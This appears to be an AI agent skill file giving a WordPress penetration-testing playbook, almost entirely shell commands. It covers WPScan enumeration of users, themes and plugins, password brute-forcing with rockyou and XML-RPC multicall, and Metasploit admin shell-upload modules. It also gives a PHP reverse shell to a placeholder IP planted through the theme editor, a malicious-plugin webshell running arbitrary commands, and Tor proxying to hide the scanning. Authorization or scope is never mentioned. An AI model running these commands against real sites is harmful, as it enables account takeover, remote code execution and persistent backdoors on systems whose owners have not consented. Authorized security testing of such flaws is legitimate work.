This skill should be used when the user asks to "pentest WordPress sites", "scan WordPress for vulnerabilities", "enumerate WordPress users, themes, or plugins", "exploit WordPress vulnerabilities", or "use WPScan". It provides comprehensive WordPress security assessment methodologies.
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Conduct comprehensive security assessments of WordPress installations including enumeration of users, themes, and plugins, vulnerability scanning, credential attacks, and exploitation techniques. WordPress powers approximately 35% of websites, making it a critical target for security testing.
Identify WordPress installations:
# Check for WordPress indicators
curl -s http://target.com | grep -i wordpress
curl -s http://target.com | grep -i "wp-content"
curl -s http://target.com | grep -i "wp-includes"
# Check common WordPress paths
curl -I http://target.com/wp-login.php
curl -I http://target.com/wp-admin/
curl -I http://target.com/wp-content/
curl -I http://target.com/xmlrpc.php
# Check meta generator tag
curl -s http://target.com | grep "generator"
# Nmap WordPress detection
nmap -p 80,443 --script http-wordpress-enum target.com
Key WordPress files and directories:
/wp-admin/ - Admin dashboard/wp-login.php - Login page/wp-content/ - Themes, plugins, uploads/wp-includes/ - Core files/xmlrpc.php - XML-RPC interface/wp-config.php - Configuration (not accessible if secure)/readme.html - Version informationComprehensive WordPress scanning with WPScan:
# Basic scan
wpscan --url http://target.com/wordpress/
# With API token (for vulnerability data)
wpscan --url http://target.com --api-token YOUR_API_TOKEN
# Aggressive detection mode
wpscan --url http://target.com --detection-mode aggressive
# Output to file
wpscan --url http://target.com -o results.txt
# JSON output
wpscan --url http://target.com -f json -o results.json
# Verbose output
wpscan --url http://target.com -v
Identify WordPress version:
# WPScan version detection
wpscan --url http://target.com
# Manual version checks
curl -s http://target.com/readme.html | grep -i version
curl -s http://target.com/feed/ | grep -i generator
curl -s http://target.com | grep "?ver="
# Check meta generator
curl -s http://target.com | grep 'name="generator"'
# Check RSS feeds
curl -s http://target.com/feed/
curl -s http://target.com/comments/feed/
Version sources:
Identify installed themes:
# Enumerate all themes
wpscan --url http://target.com -e at
# Enumerate vulnerable themes only
wpscan --url http://target.com -e vt
# Theme enumeration with detection mode
wpscan --url http://target.com -e at --plugins-detection aggressive
# Manual theme detection
curl -s http://target.com | grep "wp-content/themes/"
curl -s http://target.com/wp-content/themes/
Theme vulnerability checks:
# Search for theme exploits
searchsploit wordpress theme <theme_name>
# Check theme version
curl -s http://target.com/wp-content/themes/<theme>/style.css | grep -i version
curl -s http://target.com/wp-content/themes/<theme>/readme.txt
Identify installed plugins:
# Enumerate all plugins
wpscan --url http://target.com -e ap
# Enumerate vulnerable plugins only
wpscan --url http://target.com -e vp
# Aggressive plugin detection
wpscan --url http://target.com -e ap --plugins-detection aggressive
# Mixed detection mode
wpscan --url http://target.com -e ap --plugins-detection mixed
# Manual plugin discovery
curl -s http://target.com | grep "wp-content/plugins/"
curl -s http://target.com/wp-content/plugins/
Common vulnerable plugins to check:
# Search for plugin exploits
searchsploit wordpress plugin <plugin_name>
searchsploit wordpress mail-masta
searchsploit wordpress slideshow gallery
searchsploit wordpress reflex gallery
# Check plugin version
curl -s http://target.com/wp-content/plugins/<plugin>/readme.txt
Discover WordPress users:
# WPScan user enumeration
wpscan --url http://target.com -e u
# Enumerate specific number of users
wpscan --url http://target.com -e u1-100
# Author ID enumeration (manual)
for i in {1..20}; do
curl -s "http://target.com/?author=$i" | grep -o 'author/[^/]*/'
done
# JSON API user enumeration (if enabled)
curl -s http://target.com/wp-json/wp/v2/users
# REST API user enumeration
curl -s http://target.com/wp-json/wp/v2/users?per_page=100
# Login error enumeration
curl -X POST -d "log=admin&pwd=wrongpass" http://target.com/wp-login.php
Run all enumeration modules:
# Enumerate everything
wpscan --url http://target.com -e at -e ap -e u
# Alternative comprehensive scan
wpscan --url http://target.com -e vp,vt,u,cb,dbe
# Enumeration flags:
# at - All themes
# vt - Vulnerable themes
# ap - All plugins
# vp - Vulnerable plugins
# u - Users (1-10)
# cb - Config backups
# dbe - Database exports
# Full aggressive enumeration
wpscan --url http://target.com -e at,ap,u,cb,dbe \
--detection-mode aggressive \
--plugins-detection aggressive
Brute-force WordPress credentials:
# Single user brute-force
wpscan --url http://target.com -U admin -P /usr/share/wordlists/rockyou.txt
# Multiple users from file
wpscan --url http://target.com -U users.txt -P /usr/share/wordlists/rockyou.txt
# With password attack threads
wpscan --url http://target.com -U admin -P passwords.txt --password-attack wp-login -t 50
# XML-RPC brute-force (faster, may bypass protection)
wpscan --url http://target.com -U admin -P passwords.txt --password-attack xmlrpc
# Brute-force with API limiting
wpscan --url http://target.com -U admin -P passwords.txt --throttle 500
# Create targeted wordlist
cewl http://target.com -w wordlist.txt
wpscan --url http://target.com -U admin -P wordlist.txt
Password attack methods:
wp-login - Standard login formxmlrpc - XML-RPC multicall (faster)xmlrpc-multicall - Multiple passwords per requestAfter obtaining credentials:
# Start Metasploit
msfconsole
# Admin shell upload
use exploit/unix/webapp/wp_admin_shell_upload
set RHOSTS target.com
set USERNAME admin
set PASSWORD jessica
set TARGETURI /wordpress
set LHOST <your_ip>
exploit
# Slideshow Gallery exploit
use exploit/unix/webapp/wp_slideshowgallery_upload
set RHOSTS target.com
set TARGETURI /wordpress
set USERNAME admin
set PASSWORD jessica
set LHOST <your_ip>
exploit
# Search for WordPress exploits
search type:exploit platform:php wordpress
Theme/plugin editor (with admin access):
// Navigate to Appearance > Theme Editor
// Edit 404.php or functions.php
// Add PHP reverse shell:
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'");
?>
// Or use weevely backdoor
// Access via: http://target.com/wp-content/themes/theme_name/404.php
Plugin upload method:
# Create malicious plugin
cat > malicious.php << 'EOF'
<?php
/*
Plugin Name: Malicious Plugin
Description: Security Testing
Version: 1.0
*/
if(isset($_GET['cmd'])){
system($_GET['cmd']);
}
?>
EOF
# Zip and upload via Plugins > Add New > Upload Plugin
zip malicious.zip malicious.php
# Access webshell
curl "http://target.com/wp-content/plugins/malicious/malicious.php?cmd=id"
# Check if XML-RPC is enabled
curl -X POST http://target.com/xmlrpc.php
# List available methods
curl -X POST -d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName></methodCall>' http://target.com/xmlrpc.php
# Brute-force via XML-RPC multicall
cat > xmlrpc_brute.xml << 'EOF'
<?xml version="1.0"?>
<methodCall>
<methodName>system.multicall</methodName>
<params>
<param><value><array><data>
<value><struct>
<member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member>
<member><name>params</name><value><array><data>
<value><string>admin</string></value>
<value><string>password1</string></value>
</data></array></value></member>
</struct></value>
<value><struct>
<member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member>
<member><name>params</name><value><array><data>
<value><string>admin</string></value>
<value><string>password2</string></value>
</data></array></value></member>
</struct></value>
</data></array></value></param>
</params>
</methodCall>
EOF
curl -X POST -d @xmlrpc_brute.xml http://target.com/xmlrpc.php
# Use Tor proxy
wpscan --url http://target.com --proxy socks5://127.0.0.1:9050
# HTTP proxy
wpscan --url http://target.com --proxy http://127.0.0.1:8080
# Burp Suite proxy
wpscan --url http://target.com --proxy http://127.0.0.1:8080 --disable-tls-checks
# Basic authentication
wpscan --url http://target.com --http-auth admin:password
# Force SSL/TLS
wpscan --url https://target.com --disable-tls-checks
| Flag | Description |
|---|---|
-e at | All themes |
-e vt | Vulnerable themes |
-e ap | All plugins |
-e vp | Vulnerable plugins |
-e u | Users (1-10) |
-e cb | Config backups |
-e dbe | Database exports |
| Path | Purpose |
|---|---|
/wp-admin/ | Admin dashboard |
/wp-login.php | Login page |
/wp-content/uploads/ | User uploads |
/wp-includes/ | Core files |
/xmlrpc.php | XML-RPC API |
/wp-json/ | REST API |
| Purpose | Command |
|---|---|
| Basic scan | wpscan --url http://target.com |
| All enumeration | wpscan --url http://target.com -e at,ap,u |
| Password attack | wpscan --url http://target.com -U admin -P pass.txt |
| Aggressive | wpscan --url http://target.com --detection-mode aggressive |
--random-user-agent--throttle 1000Solutions:
Solutions:
--throttle 500Solutions:
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